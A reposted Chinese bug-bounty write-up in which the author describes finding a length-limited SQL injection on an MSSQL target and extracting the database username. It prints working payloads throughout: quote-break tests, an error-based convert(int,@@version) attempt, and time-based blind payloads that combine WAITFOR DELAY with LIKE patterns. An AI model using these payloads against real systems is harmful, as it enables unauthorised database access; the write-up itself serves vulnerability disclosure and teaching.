|
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
在某目标上触发单引号报错,发现疑似注入点:
有报错回显,一般自然想到使用报错注入,而且根据回显内容判断后端数据库显然是 mssql 数据库。
发现没报错,且输出了格式不对的提示,那就很奇怪了。用基础语法 X'OR'1'='1 再次尝试,返回结果直接报语法错误:
Incorrect syntax near the keyword 'OR'
结合之前的错误提示,不难有两个猜测,第一个是对输入格式有要求,后端会按照固定格式进行处理,再插入查询语句中,第二个就是该 SQL 查询不是正常的查询语句,可能是在什么存储过程或者自定义函数或者复杂SQL查询里,导致使用正常查询语句但出现语法错误。
XXXXX-XXX-XXX0'OR'1'='1 返回 Incorrect syntax near the keyword 'OR'
X'OR'1'='1 返回 Incorrect syntax near the keyword 'OR'
说明语句都被带入到了SQL查询中,且均报出是语法错误。
X'+or+1=convert(int,@@version)-- 返回 Invalid format
X'+or+1=1-- 返回 Invalid format
程序倒是不报错了,但无论输入什么,都一直返回 Invalid format
,非常之奇怪。
waitfor delay '0:0:2'
,也属于插入原本语句的利用方式。最终延时成功。证明即可,漏洞提交之。
得了,继续折腾。
'if(len(db_name()))<100 WAITFOR DELAY '0:0:2 不延时
'if(len(user))<100 WAITFOR DELAY '0:0:2 延时
又遇到了新问题,经过多次测试之后,发现貌似有长度限制
X'if(len(USER))<100000000+WAITFOR+DELAY+'0:0:2 不延时
发送上述请求,确定了有长度限制,最终确定为 40 字符限制。那就很难办了,WAITFOR+DELAY+'0:0:2
就占用了 20 个字符,只有 20 个字符的发挥空间,就不能使用常规的SUBSTRING
和 ASCII
。
LIKE
替换,且 IF
方法可以用空格代替括号,这样又可以减少一位占用。'if+len(user)=13+waitfor+delay'0:0:2 延时
用户名是13位。
'if+user+like'i%25'waitfor+delay'0:0:2 延时
之后就可以用 burp
分别爆破每位,不断替换百分号的位置。但过程中还是有小问题,因为用户名是13位,所以肯定无法全部展示,这时可以用 %
分别代表前半部分和后半部分位置,如
'if+user+like'is%25'waitfor+delay'0:0:2 延时
'if+user+like'%25user'waitfor+delay'0:0:2 延时
通过上述操作就可以把 dbuser 跑出来:
最终漏洞也得到了确认
version()
和 db_name()
这类自身占用的字符就太多了,肯定超过 40 字符。同样,因为字符限制,实际利用,取具体数据也无法实现,算是鸡肋漏洞。(当然也可能是我太菜了,无法利用成功)文章来源:先知社区(九五二七)
原文地址:https://xz.aliyun.com/t/13755
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
知 识 星 球
推 荐 阅 读
原文始发于微信公众号(潇湘信安):记一次H1漏洞提交记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论